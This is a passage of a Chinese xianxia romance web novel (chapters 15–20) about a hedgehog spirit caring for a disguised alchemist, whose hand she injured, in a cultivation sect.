裴依宁瞳孔一缩,动作先于思维,不加所思地上前一捞,五指握住刚回过神,挣扎着从水中起来的小刺猬。 不过眨眼间的功夫,刚碰到水的小刺猬被捞出。 裴依宁眉宇间是没来得及散开的担心,她抿着唇,将小刺猬拿近,灵力探入小刺猬的身体。 小刺猬被半举着,几乎和裴依宁贴脸。 “宁……宁依。”小刺猬无措地喊了声。 小刺猬没事。裴依宁收回灵力。 掌心刺痛,裴依宁目光转下去,猩红的液体挂在小刺猬的刺上。 她的手掌被刺刺伤了。 小刺猬也注意到这点,宁依直接攥住她的后背,怎么可能没事。但她不敢动,怕牵扯到宁依,加大伤口。 小刺猬惊恐,担忧,关心,几种情绪不间断地变化,交织在一起。 裴依宁忽而笑了,她将小刺猬放到地上,不在意地曲起指腹,滑了滑小刺猬的脸颊:“星星,怎么洗过碗,还给自己洗了个澡?” 小刺猬没心思和她开玩笑,拉过裴依宁受伤的手,掌心一片血色。 裴依宁道:“小伤,星星不用担心。” 怎么可能不担心,小刺猬小心地擦拭掉血渍:“我去买瓶药……” 小刺猬的话还没说完就被打断:“星星。” 裴依宁很无奈的语气:“我是丹修。” 她从空间储物中取出一瓶药粉递给小刺猬。 小刺猬冷静下来,接过,仔细询问过后,内疚地给女人敷药。 “伤好之前,别用这只手了,”小刺猬道。 裴依宁笑:“好的,真的没事的。” 蹭了宁依的饭,竟然还把宁依的手弄伤了。 宁依还这么大方地原谅她,一点都不生气。 小刺猬更加愧疚了。 “这几日,我留在这照顾你。”小刺猬道,“等你手好了,我再走。”【你现在阅读的是 】 16、第十六章 裴依宁右手缠上一圈绸布,虚虚地贴在腿侧,小刺猬端着碗碟,时不时看一眼身旁的人。 叠加起来的碗碟快要比小刺猬高了,小刺猬举着,更是超过了头顶。 摇摇晃晃的走路姿势有些滑稽了,裴依宁半弯下腰,左手点在最上方的碗碟边沿。 受到阻力,小刺猬前进不得,探出半边小脑袋,见挡在她面前的人,心更虚了,耳朵小幅度地抖了抖:“宁依……” 裴依宁卸下几分力,轻声问:“放入空间储物就好,一直拿着,不累吗?” 经她这么一提醒,小刺猬猛然意识到疏漏了这点。只顾着自责让宁依受伤,连这么简单的事情都忘记了。 她在宁依心中的形象说不定又下滑了。 小刺猬舔了下唇,掩饰道:“我锻炼肢体力量。” 同样的借口二次用出来,显得更不聪明了,小刺猬懊恼地蹙起眉头,额头上方的毛发跟着皱在一起。 “算了,”说出口的话收不回来,小刺猬将碗碟放入空间储物中,欲盖弥彰地说,“不锻炼了。” 裴依宁眉眼温和:“好。” 她依旧保持弯腰的动作,小刺猬双爪拉住裴依宁的手指,轻轻晃动两下。 裴依宁笑了笑,捞起她,要把小刺猬重新放到自己的肩膀上。 小刺猬看出她的意图,下意识说了句:“等会。” 她在地上走了这么久,脚都弄脏了,直接爬到宁依的肩膀上,定然会把对方的衣服弄脏。 小刺猬快速使了个净身术:“好了。” 裴依宁被小刺猬可爱到,将小刺猬放好后,没忍住捏了捏小刺猬的脸颊。 小刺猬“哼哼”两声,倒是没有拒绝。 回到居所,小刺猬主动从女人肩上跳下,而后灵活地爬上洞府内唯一一张较为空旷的桌子。 她趴在桌子上,四肢蜷缩起来,望着裴依宁的眼睛黑漆漆的:“宁依,你坐过来,我再看看你的手。” 裴依宁活动手腕,掌心的疼意早已消退,扎出的伤口在药物作用下开始愈合。 她走过去,规矩地将手放过去,实话实说:“很痒。” 小刺猬小心翼翼地抚摸着绸布,心疼地凑近,低下脑袋吹了吹:“宁依,忍忍,不要挠,对伤口恢复不好。” 她小时候受伤,家里人也是如今日的她这般,轻轻地吹着气,好似这样,疼痛感会减少许多。 “还疼吗?”小刺猬低声问。 裴依宁本想逗逗小刺猬,但小刺猬都已经内疚成这幅样子了,她于心不忍:“不疼了,星星吹过就不疼了。” 小刺猬不相信,小爪子按在裴依宁的手腕处,闷闷地说:“骗人,伤口被绸布盖住,根本吹不到。” 裴依宁莞尔,回眸看了眼外面的天色,小刺猬跟着看过去。 “你……今晚要洗澡吗?”云榆想到这点,犹豫了会,咬住唇,“还是用净身术?” 修炼之人,无需日日洗漱,通常一个净身术就差不多了,但她不了解裴依宁的习惯。 知晓小刺猬的为难,也实在没有让小刺猬帮忙的打算,裴依宁温声:“我自己来就好,不影响。” 小刺猬松下一口气,但更多的是对裴依宁的担心:“万一碰到水了……” 裴依宁:“不会,别担心。” 一柱香后,先清洗好的小刺猬从裴依宁为她准备的木桶中爬出,淅淅沥沥的水声自她动作起不间断。 身上挂着的水落下,每根刺都被洗干净。 小刺猬抹了把脸颊,将水倒掉,木桶收好,乖巧地趴在原位等宁依。 裴依宁有专属的洗漱空间。 又过了一炷香,洞府的门被推开,一袭浅色衣裙的女子从容走入,长发披散,随意地散在身后,精致的五官透过洞府内的暖光更显柔和。 裴依宁缓缓走到小刺猬趴着的位置。 浅淡的香气顷刻间充斥在云榆的鼻间,随即将她团团包裹。 她一瞬不瞬地盯着裴依宁的脸,眼底的惊艳不加掩饰,暴露无遗。 但很快,她的注意力集中到裴依宁受伤的手上。 还好,没有碰到水。 小刺猬放下心。 “星星今晚和我一起睡,可以吗?”裴依宁指了指床铺的位置,“我这只有一张床。” 修炼之人,打坐不睡也可。 裴依宁比了比小刺猬的身形:“不会挤。” 云榆身体一僵,但她现在是刺猬形,不会占多大的空,就算和宁依睡在一张床上,中间也能隔一段距离。 她放松身体:“好。” 裴依宁去铺床。 小刺猬摸着肚皮,缓而慢地跟上去。 “星星睡在里面还是外面?” “里面。” “好。” 后背贴在墙上,小刺猬缩紧身体。 烛火熄灭,洞府内顷刻间暗了下去。 一人一刺猬都没有说话。 不知过了多久,小刺猬听到女人平缓的呼吸。 她转过身,背对着裴依宁,陷入梦乡。 裴依宁睡眠一向浅。 身畔有动静,她睁开眼,一条手臂直直地搭在她的小腹上,不等她反应,脖颈处挤入温软。 小刺猬不知何时化成了人形,正抱着她,头埋在她的脖颈间。 云榆蹭了蹭她,唇似有若无地擦过裴依宁颈间肌肤,口中含糊不清:“好香,想吃。”【你现在阅读的是 】 17、第十七章 晨光入内,沿着一条直线打在小刺猬半边脸颊上。 小刺猬拢在后背的刺轻缓地松开又聚集,随着光线上移,照在小刺猬的眼皮上,睡意昏沉的小动物有了醒来的迹象。 云榆睁开眼时,床上只剩下她一只刺猬。小爪子无意识地往旁边伸了下,入爪处空荡荡一片。 后知后觉地想到昨晚和女人同床共枕,小刺猬连忙爬着坐起,低头。 还是刺猬身。 云榆松了口气。 她目前修为低,无法稳定身形,尤其是在睡着时。 昨晚梦见了一些小时候的事情。 还好没有化为人形。 小刺猬捂住脸颊来回摩擦几下,将残余的困意驱散。 她环顾洞府,都没有发现宁依的踪迹,忽而,眼角的余光瞥见枕边的一张纸条。 小刺猬拿起。 娟秀的字迹显现在她的眼中,笔画的末端带着凌厉的勾拉。 是裴依宁留下的字条。 【星星,我需去灵丹堂一趟,桌上的粥别忘了喝。尽量午饭前回来。】 话语的最后,落下宁依两个大字。 云榆懒懒地伸了个懒腰,抬眸,不远处的桌子上,一块用灵力覆盖的区域内,一只白瓷碗静悄悄地放在那。 宁依不在。 小刺猬跳下床,弯下腰,再次直起身时,已经化回了人形。 刺猬形太久,也需得多维持维持人形。 云榆揉捏着后脑,慢悠悠地晃荡到桌子边。 有灵力隔绝空气,粥还是温热的。 云榆边在心里默念着宁依的好,边将粥喝完。 距离午饭时间还早,宁依一时半会不会回来。但主人不在,她一人待在对方的洞府也不好。 云榆思索片刻,开门出去。 她既答应了宁依会在这陪着等裴依宁手伤好,自不会不打招呼就走。 宗门内的峰阁都是互通的,可以在划定的范围内走动。 走在熟到不能再熟的路上,云榆双手背于身后,她多是午夜来此,这么正大光明地立于灵丹堂还是少数。 “云师妹?”斜侧方有人喊她。 云榆侧目望去,背在身后的手当即改变姿势,拱手一礼,态度恭敬:“纳兰师姐。” 纳兰然捏着一方圆盒,盒盖上篆刻着一圈纹路,中间不知用什么东西,涂得花团锦簇,艳儿不妖。 云榆不由得多看了两眼。 对于这位师妹,纳兰然尚有印象,是那日陪着剑法阁一位受伤弟子前来包扎伤口的。走到云榆面前,纳兰然脚步一顿:“云师妹是与应师妹走散了吗?” 应滟不久前才来灵丹堂换完药。 云榆一愣,转过来她口中的“应师妹”是谁后,道:“没有,我想就在这看看。” 纳兰然不疑有她,许是对这位师妹观感不错,又许是今天实在不忙,她多停留了会:“也可,但切记,莫要进入禁地之中。” 所谓的禁地,便是只对灵丹堂弟子开放的区域,多是些炼丹房,存储药材,单方之所。 云榆乖巧应下。 这些规矩她牢记于心。 路过膳食堂,云榆缓了脚步,歪头,半开的木窗内,有人来回走动。 不知不觉间,云榆走到了灵丹堂的侧殿。里面的弟子依旧在挑捡药材,研磨药粉。 还有几位弟子在为受伤的人治疗。 此地是对外开放的。 云榆刚踏入半步就发觉气氛不对,安静的听不见丝毫声音。 几位穿着并非明越宗的弟子挡住了云榆的视线,只能从几人排站的缝隙中探得他们对面的人。 宁依也在其中。 而其余灵丹堂的弟子,虽都在做自己的事,可眼神却时不时瞄向那些外宗人。 这不是她可以听看的,云榆转身要走。 “只一味地依靠丹药提升,根基不稳,要这修为有何用?”清润的嗓音穿过层层空气钻入云榆的耳中。 转身的动作因此停滞。 是宁依的声音。 云榆不可置信地垫起脚尖回看过去。 裴依宁摆弄着沾着露水的药材,晶莹的水珠顺着叶片滚动,在地面砸下一瓣水花。 她扬起眉,感知到小刺猬的气息,捏着叶片的手紧了几分,语气却是未曾变化:“纸老虎罢了。” 几位外宗人脸色齐刷刷变动,殿内气压更低了。 云榆还想继续听,纳兰然不知从何处冒出:“云师妹。” 云榆扭头,心知这些不应该被她听见,但说话人是宁依,新弟子口无遮拦,若是被师姐们怪罪了怎么办。 眼下纳兰师姐在,她定是不能留在这了,只希求宁依能放机灵点,不该说的话别说。 “纳兰师姐,告辞。”云榆拱手,一步三回头。 “他日若是药效反噬,灵脉寸断,灵珠损毁,亦无可救治之法……” 殿内的话语随风飘散,落入云榆耳中的越来越少,越来越淡,直至消失于无。 小刺猬的气息减弱许多,是离开了。 裴依宁掀起眼帘,原来云榆站的地方已经空了。 她提了下唇角,补充上最后一句:“以后,若是求取这类丹药,由此而成的副作用,明越宗与灵丹堂皆不会负责。” 外宗几名弟子脸上清白一阵,却也无可奈何,对视一眼,咬牙,赌上不会反噬,买下了几枚这种丹药:“后果当有我等自负。” 裴依宁起身,瞧了眼守在殿门边上的人。 纳兰然快步而来:“裴师姐。” 裴依宁没再多说,微微颔首。 纳兰然将几枚艳如血的丹递给几人,又一次叮嘱了相同的话语。 几位外宗弟子离去后,裴依宁捻起剩下的血色丹药,语调平缓:“明越宗弟子,凡是要此等丹药的,一律告知于我。” “是,师姐。”纳兰然盖上盒盖,她欲言又止,“师姐……” 裴依宁看她。 纳兰然指了指裴依宁的手:“师姐手受伤了吗?严重吗?” 依照裴依宁的医术,若是寻常小伤,根本用不到包扎,严重点的,吃枚修复的丹药即可。 她甚少见到裴师姐身上带伤。 裴依宁道:“小伤,无碍。” 裴依宁走了几步,立于云榆站着的门槛边,残留的气息更淡了。她举目,顺着云榆离开的方向看去。 是她的洞府。 在外面转了一圈,云榆心惊胆战地回到裴依宁的洞府,来回踱步。 她担心因宁依的几句话影响了宗门情谊,从而被处罚。 洞府门响起被推动的声响,云榆扫眼,熟练地蹲下身,一团柔和的白光覆盖过后,一根根刺现出。 洞府门被推开,云榆恰好化回了小刺猬,几个蹦跳,缩在了椅子上。 昨晚的那张人脸复又浮现在脑海,同样的,还有云榆的呓语。 “就吃一点点,一点点就够了。”声音怯懦而含着卑微的祈求。 絮絮的话语只有几句,来回重复着大同小异的话。 向来对别人漠不关心的人起了好奇心。 为什么小刺猬会突然化作人形,又为什么会用那种可怜哀求的语气……求食物吗? 小刺猬缩成一团,用刺对着她,悄悄地抬起小脑袋,暗暗观察她在干嘛。 由于视觉差,一般人无法快速注意到小刺猬趴着的椅子。 裴依宁走到床边,轻轻地按住叠好的被子:“星星?” 她故作没发现小刺猬。 以为小刺猬是在和她玩许久不曾玩过的捉谜藏游戏。 可小刺猬却在她喊声后,回应了她:“宁依,我在这。” 意识到宁依可能没看见她,小刺猬踩在桌子下方的横栏上,借力跳到椅背上的栏上。 更为显眼。 裴依宁弯唇:“星星,你怎么躲在这了?” 她右手掌心还缠绕着一圈绸布,一尘不染。 小刺猬见到人后,压着的担心卸出一半。 能回来,且看宁依这幅模样,该是没事的。 没事就好。 “好严肃啊。”裴依宁眉宇间溺着温柔,用裹着绸布的掌虚虚搭在小刺猬的后背,“是我回来晚了吗?” 小刺猬本是绷着脸,却见她抬手,忙是缩矮身体,避开女人掌心的触碰:“伤还没好,注意点,别又被扎到,到时我就不会负责了。” 裴依宁温声:“我会自行负责。” 差不多的话,只是上次是不久前外宗弟子说的,这次是宁依说的。 还有正事没做,小刺猬被这句话提醒,继续绷着脸,指了指踩着的椅子:“坐下。” 裴依宁不明就以,倒也听话:“星星?” 她侧坐在椅子上,手臂自然而然地搭在椅背上,手臂再往旁挪动几分,就是小刺猬站着的位置。 小刺猬注意到了,谨慎地往椅把的另一端移动。 一人一刺猬中间隔着十公分的距离。 小刺猬双脚抓住椅把,支起身体:“宁依,你太不懂人情世故了。” 裴依宁曲指:“嗯?” 小刺猬皱眉,在灵丹堂偏殿内,宁依的话太过直白锐利,半分面子不留给外宗人,怎么想都觉得不对。 但她不能直说,委婉道:“你毕竟是新弟子,外人来,自有师姐接待,你不能逾矩。” 小刺猬接着说:“我喝完粥去外面消食,恰逢路过偏殿,听见你说的话了。” “这样啊。”裴依宁似是才知道小刺猬去过,恍然,“不懂人情世故吗?我会注意的。” 不确定小刺猬什么时候来的,有没有听见之前的话,她眼神一眯:“所以星星需要六品丹药是做何用的?”【你现在阅读的是 】 18、第十八章 今日外宗那几个求取丹药的行为倒是给了她提醒。 强行拔高修为的丹药,最低品阶就是六品,与小刺猬求取的丹药是同一个品阶。 若是小刺猬求取的也是这类型的丹药……裴依宁浅色瞳孔中一抹异色消纵即逝,曲指敲击椅背的速度慢了许多。 小刺猬奇怪地看她一眼:“我在和你说人情世故,你突然问我这个做什么?” 裴依宁道:“好奇,”她提肘搭住椅背,细长的手指摩挲在一起,直接问,“星星要的丹药,可是与提升修为有关。” 小刺猬“啊”了声:“还有可以提升修为的丹药?” 她的惊奇和讶然不像装的,裴依宁无端松了口气,调整姿态,半边身体斜斜地靠在桌沿边。 裴依宁神色柔和,点在小刺猬的眉毛上,轻缓揉动,将小刺猬皱起的眉平展铺开,莞尔道:“是有。” 她顿住,稍有严肃之感:“但星星不要用,这种强行提升修为的方式只会让身体越发亏空,于日后修炼无异。所以,星星一定不可以用。” 她将其中利害说于小刺猬。 “我当然不可能用这种丹药。”小刺猬很抗拒的样子,“我虽对此丹药不了解,但也深知修炼不易,怎么可能凭借外力一下子提升。” 小刺猬双爪环抱,半侧着身体,不屑一顾的模样甚至可爱:“我可要留个好身体,尝遍天下美食。” 裴依宁轻笑出声。 云榆当时在外面听的不全,现如今大概知晓了原由:“所以,那些人要的是这种丹药,所以你才逾矩了?” 裴依宁随口道:“算不得逾矩。”她身体往前几分,重新靠近小刺猬,“星星还觉得我不懂人情世故吗?” 本以为小刺猬会改变主意,却不想小刺猬依旧一本正经地点头,还学着她的模样,伸出一只爪子。 发觉自己的爪子有些短,够不到裴依宁的额头,小刺猬尴尬地咳了声。 裴依宁上半身向小刺猬倾斜。 小刺猬的爪子得以触碰到裴依宁的额头。 小刺猬愣了瞬,爪心认真在裴依宁额头上来回划过:“但你说得太直白了。” 裴依宁微微低垂着头,很认真地听。 “应该委婉地向他们陈述其中坏处。”小刺猬想到宁依那时的语气,毫无波动,甚至可以说得上冷漠。 与现在在她面前温和如水判若两人。 许是水结成了冰,冻得人直往外冒寒气。 小刺猬接着说:“就像你刚刚和我说的那样。你和我说时,语气就很好啊,而且还很……” 小刺猬抬眸,望入裴依宁的眼中,里面藏着一个小小的她:“还很温柔。” 宁依给她的感觉一直是温温柔柔,如四月春风拂面,余下无尽的软意。 所以,今日见到那般凌厉的宁依时,小刺猬担忧的同时,与之而来的是震惊。 “温柔?”两个字在女人舌尖上滚过,裴依宁显然很少听有人将这个词冠在她身上,歪头,任由长发泼墨而下,“这样啊。” 她意味不明:“我会记住星星的话,以后会温柔地提醒她人。” 几番言语有了作用,小刺猬绷着的脸松垮下来,双爪揉了揉快要僵硬的脸颊,开玩笑道:“没事,等你以后修为高深,成为高品阶的炼丹师,不拿正眼看人,也无人敢说你。” “但现在,我们要有谦卑之心,”小刺猬挂在椅把上,扬声,“懂了吗?” 最后三个字,语调过于上扬,带着搞怪的成分,裴依宁唇边弧度加深:“懂了。” 但还是有所好奇:“我今日有不拿正眼看他们吗?” 仔细回忆了下,那几人的面容依稀还记得。 算不得不拿正眼看人吧。 小刺猬无所谓地摆摆手:“夸张,夸张懂吧。” 裴依宁若有所思地点一点头:“懂。” 小刺猬:“懂就行。” 要告诫宁依的已经全部说完,小刺猬浑然生出一种骄傲之感,她对小跟班这般尽心尽力,教对方待人接物之道,当真是一只极好的小刺猬。 时间不早了,午饭还没着落。 裴依宁起身要去做饭,被小刺猬一把按住。 她的爪子过于小了,若不是裴依宁反应快,没站起来,恐怕小刺猬就要被掀翻在地了。 “不用做饭。”小刺猬盯着女人受伤的手,重复,“不用你做饭,这几日我照顾你。” 宁依手都受伤了,自己还让她做饭,也太有失她小刺猬的形象了。 裴依宁不动:“那我们吃什么?” 小刺猬道:“我来做。” 裴依宁眨眼,小刺猬还会做饭? 然,终究是她期望放的太高了。 端上桌面的那一盘黑漆漆的糊状物让她几番欲言又止。 裴依宁抿唇,捏着筷子的手本就不方便,如今轻轻一挑,那黑糊物直接挂在了玉筷上。 黑与白碰撞,带来的视觉感官更为强烈。 裴依宁唇齿张合:“这……” 她沉默了。 小刺猬心虚地解开悬在身前,类似于围裙的布带,小爪子摸着鼻间,干咳两声:“你别看它看着不怎么样。” 她捻起勺子,挖了勺填入口中,表情顷刻间扭曲:“其实吃着也不怎么样。” “……”裴依宁放下筷子,“我去做点别的吧。” 小刺猬忙扔下勺子,拦住女人:“别啊,也不是非要吃饭。” 小刺猬着实被自己的厨艺吓到了,看宁依的样子,怕是也被吓到了。 刚刚塑造的形象,又一次在小跟班面前垮掉了。 小刺猬欲哭无泪:“修行之人,几日不吃也无碍。实在不行,我去弄点药株吃吃。” 提及此,小刺猬想到空间储物中的东西,拍了下脑袋。 见她爪子没被刺扎到,裴依宁微抬的手垂下。 “对了,我这还有你上次给我的蓝莓和糕点。”小刺猬欣喜地拿出。 放置的时间不长,包裹严实,除了糕点有点入潮,口感没有一开始的酥软外,其余倒还好。 小刺猬挑选了几块没有入潮或者边缘入潮的递给裴依宁,又分出一半的蓝莓:“还好这两日忙着修炼,没来得及吃。” 小刺猬边说边将剩下几块入潮严重的放在自己面前,搓搓小爪子,满意道:“开饭!” 一口塞入几粒蓝莓,小刺猬满足地眼睛弯弯,两腮不断鼓动,捏着糕点,轻轻地摇晃身体。 小刺猬对吃食格外珍重,不管是什么,都能吃得很开心。 期间,小刺猬还捻着勺子,挖勺自己做的黑糊物,面容扭曲,口中不断念叨:“不能浪费食物,不能浪费食物……” 然后眼一闭,勺子入口,扭曲的表情更加紧皱,艰难地咽下后,小刺猬快速抓起几枚蓝莓,清甜气息将舌根的苦意冲下去几分。 小刺猬深呼吸,又要去挖。 裴依宁按住她的小爪子:“别吃了。” 小刺猬安静片刻,那双漆黑的眸子缀着星芒:“细细品尝,味道还是不错的。” 验证般,她摆脱裴依宁的束缚,又挖了勺,很享受地闭上眼睛,吞咽下,末了,还不忘道:“是能吃的。” 裴依宁默然,捏起筷子,夹起一点,垂落的黑色丝线黏稠地要坠不坠。 小刺猬来不及劝阻,那筷子的黑糊物入了裴依宁的口。 苦涩中带着酸,那是种无法形容的味道。 裴依宁过往未曾吃过这么难吃的食物。 难以下咽都不足以形容。 裴依宁舌尖在牙齿上划过,口腔中满是这种气息,就连鼻腔都被侵入。 丹修的好嗅觉让她禁不住眼皮跳动,长睫投射下的阴影虚虚地打在下眼睑。 她两指夹住白盘的边缘,脸色肉眼可见地冷下来。 灵力涌动,盘中黑糊状的物体消失地无影无踪,就连空气中都不存在其散出的气息。 只剩下小刺猬抓着的勺子和裴依宁放下的筷子上还带着黑色黏稠。【你现在阅读的是 】 19、第十九章 食物在眼皮底下消失不见,小刺猬茫然地眨眨眼,不确定地看了眼勺子,又看了眼空荡荡的白色瓷盘。 半晌后,小刺猬弱弱出声:“宁依,我的菜去哪了?” 那盘黑漆漆的糊状物是菜?她还以为是粥煮糊了。 裴依宁眉心拧成小疙瘩。 想到宁依的冷脸,小刺猬气势更弱了,勺子拿也不是,放也不是,僵硬地举着,她试探地问:“宁依,你生气了吗?” 她探过爪心想要将宁依眉宇间凸起的小疙瘩抚平,但转念想到女人不久前的脸色,后背直冒寒气。 宁依那瞬间的压迫感太足了。 “没有生气。”裴依宁察觉到小刺猬的局促,放下筷子,拿过小刺猬的勺子,又不知从哪里变出一杯水推到小刺猬身前,低声道,“漱漱口。” 宁依的气息柔和下来,小刺猬双爪抱住水杯,喝的时候,小眼睛不断转动上移,观察裴依宁的表情。 一时不注意,几滴水从她的唇边滚落,小刺猬的脚被水滴打到,回过神,老实地喝了几口。 舌根的苦意冲淡了点。 小刺猬放下水杯。 裴依宁慢慢悠悠地端着外观和小刺猬差不多的水杯,小口抿着。 她提着茶杯上沿,却见小刺猬正望着她,一动不动。 裴依宁唇上被水浸润,蒙上一层潋滟的水光:“怎么了?” 小刺猬垂头丧气:“没事。” 裴依宁心中低叹,喂了面前兴致不高的小动物吃了几粒蓝莓:“星星,不能吃的东西,亦或者是不喜欢吃的东西,不要勉强自己吃。” 尤其是刚刚那团,约莫是丢出去,路过的人都要捂着鼻子避开的程度。 小刺猬似乎被戳到,头抬了下,漆黑的瞳孔暗了几分,又快速低下,不让面前的人看清自己的表情,她声音闷闷地,夹杂着不明显的颤音,没头没脑地说了句:“有东西吃就很好了,没有挑选的权利。” 小刺猬情绪低落,裴依宁心隐隐揪疼起来。 但早已经习惯隐藏情绪,不把坏的情绪传染给她人,小刺猬咬住舌尖,很快调整好心情。 她四肢摊开,坐在桌面上,捏起最近的一块糕点,咬下,喜笑颜开:“这个味道好好,等下次出宗,我也要去买几包存着。” 她看向裴依宁,五官都是笑的:“宁依可以跟我一起出宗。” 裴依宁呼吸轻了许多,片刻后,才吐出一个“好”字。 一顿午饭在小刺猬不间断的话语中结束。 下午,裴依宁需要再去灵丹堂一趟,小刺猬闲来无事,便想要跟着。 裴依宁思量一二,同意了。 只是藏在哪有些难办,若是像之前那样蹲在宁依的肩膀上,太过显眼了,若是藏在别处…… 小刺猬上上下下打量裴依宁的穿着,几番过后,她得出结论。 没有藏身之所。 小刺猬放弃了跟随的念头:“算了,我在洞府等你回来吧。” 让小刺猬一只妖留下,属实是无聊了,裴依宁拿出一方盛放丹药的木盒,打开,对着小刺猬:“木盒留有孔,星星可以躲在这里。” 小刺猬眼睛一亮,轻快地蹦进木盒,伴随着“咔嚓”声,盒盖被盖上。 木盒内的大片光线随之被截断,好在有孔洞,沿着孔洞,可以看见外界的事物。 但由于限制,只能看见与孔洞相同形状的外界景象。 小刺猬很满足。 裴依宁托着木盒。 宁依的手很稳,感受不到半分颠簸。 这是躲在木盒内的小刺猬的想法。 从木盒中往外看,灵丹堂都变得不一样了,好似更有趣了,所有的景象都被框在一条直线中。 路过某处,裴依宁特意停下几秒:“星星,这里是膳食堂。” 她将木盒开孔的地方转向膳食堂。 小刺猬的声音经木盒传过:“看见啦。” 裴依宁继续走,每经过一个地方,就会停下说一遍这里是何地。 靠近灵丹堂的正殿,此地弟子多了,对着一方木盒说话,属实有些怪异,小刺猬多是收到裴依宁的传音。 小刺猬亦是回以传音。 “裴师姐。”清脆的声音乍起。 遇到裴师姐了?小刺猬趴下。 裴依宁神色淡然地在木盒上覆盖住一层灵力,隔绝木盒内外的声音。 她“嗯”了声,是对喊她的那位师妹的回复。 进入灵丹堂的正殿,回应过几人的招呼,裴依宁走近存放丹方的室内。 里面有人在整理丹方,瞧见裴依宁,手下动作暂停,拱手一礼:“裴师姐。” 裴依宁微微颔首,木盒放下,压住下面的丹方。 小刺猬的世界顷刻间安静无声,她趴在盒子内一动不动,不知宁依走到了哪里,那位裴师姐是否还在周围。 她屏住呼吸,给裴依宁传音:【宁依,我们到哪里了?】 裴依宁在检查新丹方上记录的药材和份量是否准确。灵识内收到小刺猬的传音,她回音:【在存放丹方的地方。】 小刺猬呼吸凝滞,传音:【宁依,我不能进这里,快带我出去。】 这里只有灵丹堂的弟子可以进去,她一个别的峰阁的人,怎么能轻易进入。 虽然她不会看那些丹方,也不会故意偷听什么。 但一旦被发现,首先受到牵连的就是宁依。 一个新弟子不守规矩,利用木盒将小动物带入禁地,被人知道了,怎么想都会受到处罚。 小刺猬浑然忘记了她现在根本听不见丝毫声音,就算爬起来,眼睛抵在木盒的开孔处,也只能看见白茫茫一片。 裴依宁屏蔽了外界的声音图像,一方面是因为不想暴露身份,另一方面,自是有这方面的考虑。 小刺猬什么都听不见,什么都看不见,带进来,也算不得违规。 木盒被捧起,小刺猬感觉到自己在上升。 周围响起嘈杂的声音。 小刺猬又能听见声音了。 “纳兰师姐,您看我这枚丹药炼制地如何?” 小刺猬竖起耳朵。 【这里是普通的殿内。】裴依宁的声音没入小刺猬的灵识中。 小刺猬:【好的。】 她重新趴到孔洞那,往外一看,数名弟子整齐地排成一排,端着的放盘中各有一枚成色,形状不一的丹药。 从她的方位看,是与这些人正对着。 宁依站在这些人的对面做什么? 纳兰然观察着某位新弟子新炼制的丹药,表面毫无异常,心里却是欲哭无泪。 裴师姐不知道怎的了,传音说,不要喊她师姐。 不喊师姐喊什么?又要喊师妹吗? 当着这么多新弟子的面喊裴师姐一句“师妹”,那画面,只是想,就觉得头皮发麻。 那些新弟子也只在裴依宁进入时,喊了声“裴师姐”,其后再也不敢找这位灵丹堂的大师姐说话了。 没看见纳兰师姐都不主动与裴师姐攀谈吗? “这枚丹药成色不错,外观也不错,只是其中杂质还需再提炼提炼,品色会更好。”纳兰然道,“学了这些时日,就能炼制成这样,属实不错。” 被夸奖的那位弟子喜悦之情即使隔着木盒,小刺猬也能听得一清二楚:“多谢纳兰师姐。” 许是纳兰然的夸奖让她有了勇气,竟拿着那枚丹药,小心翼翼地走到裴依宁面前。 裴依宁眼神柔和,可周身的气质无形中带着拒人千里的漠然。 温柔与冷冽在女人身上极好地交融在一起。 见师妹朝自己走来,裴依宁轻轻敲了下木盒,将那句“裴师姐,您能看看我的这枚丹药吗”?完美挡在木盒外。 躲在木盒内的小刺猬只听见顺着木盒传入的,缓而慢的声音。 是宁依在说话:“尚可,几个月的时间炼制出这般成色的一品丹药,天赋算是可以。” 想到小刺猬之前的提醒,裴依宁又道:“很不错的天赋。” 那位新弟子本在听见“天赋算是可以”时,还有几分失落,她原以为会得到裴师姐的夸赞,不想却只得到一句“还算可以”的评价。 但裴依宁后面紧跟着的一句“很不错”顿时让她转阴为晴。 “多谢裴师姐。” 不出意外,这句话又被隔绝了。 几秒后,小刺猬再度听见宁依的声音:“纳兰师姐,这是我对同门炼制的那枚丹药的见解。” 略有疑惑的小刺猬先前还奇怪怎么宁依这个新入宗的弟子还要评价她人的丹药,现下明了了,原是是新弟子间相□□评。 剑法阁的师姐有时也喜欢让她们点评其她弟子的剑招。 纳兰然唇角抽了下:“嗯,师妹点评的很好。” 另一侧,几位新弟子只见的裴师姐和纳兰师姐唇动,却无声音传出,纷纷对视。 “两位师姐兴许是在讨论我们炼制的丹药如何。” “可能是我们炼制的太差劲,两位师姐不好直言。” 弟子们窃窃私语。 裴依宁收回隔绝两边不同话语的灵力,给纳兰然传过音后,在纳兰然诧异的目光下,端着木盒离开了灵丹堂。 “星星。”裴依宁轻声唤道。 小刺猬没有立刻出声,而是继续传音问:【我可以说话了吗?】 裴依宁:“可以,我出来了。” 小刺猬松懈下来:“宁依,你夸的那人,炼丹天赋有你高吗?”【你现在阅读的是 】 20、第二十章 木盒上方的盖子被掀开,女人投下的大片阴影闯入其中,覆盖在小刺猬身上。 小刺猬保持着趴在孔洞端的姿态,恍然发觉空气流通地更快,身上影子浮动。 她扬头,对上裴依宁垂下的目光。 小刺猬下意识地:“宁依?” 裴依宁道:“没有。” 小刺猬:“嗯?” 裴依宁唇边弯起一抹弧度,温声说:“那人的天赋,大概是没有我高的。” 她初次炼丹,仅是学了些基础知识后,便是用了不到一个时辰的功夫,炼制出了第一枚一品丹药。 无论是成色还是品质,皆是上乘。 当年尚且年幼的她,在炼丹上所展现出的天赋,震惊了整个明越宗,以至于入宗第一日,便破例被灵丹堂堂主收为亲传弟子。 而她自是没有辜负众多长辈对她的期望,闭关专研各种炼丹之法,复刻出数张失传已久的丹方。 但常年的闭关,让她鲜少与外界沟通交流,除却幼时认识的几人,与偶尔出关指点过的师妹外,大部分人于她而言,都是生面孔。 “宁依,”小刺猬踩在木盒边沿,小小的爪子握成拳,揣在肚子两侧,“谦虚点。” 她从孔洞中看见了之前那人炼制的丹药,虽不是近距离,但那枚丹药给她的感觉的确不如宁依先前炼制的那枚。 宁依炼制的丹药是圆形的,而那人炼制的丹药类似于椭圆形。 宁依炼制的丹药药香更浓郁,而那人炼制的丹药,药香寡淡,其中甚至还参杂着一股说不上的气味。 应该是丹修惯常所说的,杂质没有炼化干净。 更重要的是,宁依在前两天就当着她的面炼制出了丹药,比那位同门要早。 各方面对比来看,小刺猬得出结论。 的确宁依的天赋更高。 小刺猬道:“宁依,这种话只可以在我面前说,其她同门若是问你相同的问题,你记得要谦虚委婉点。” 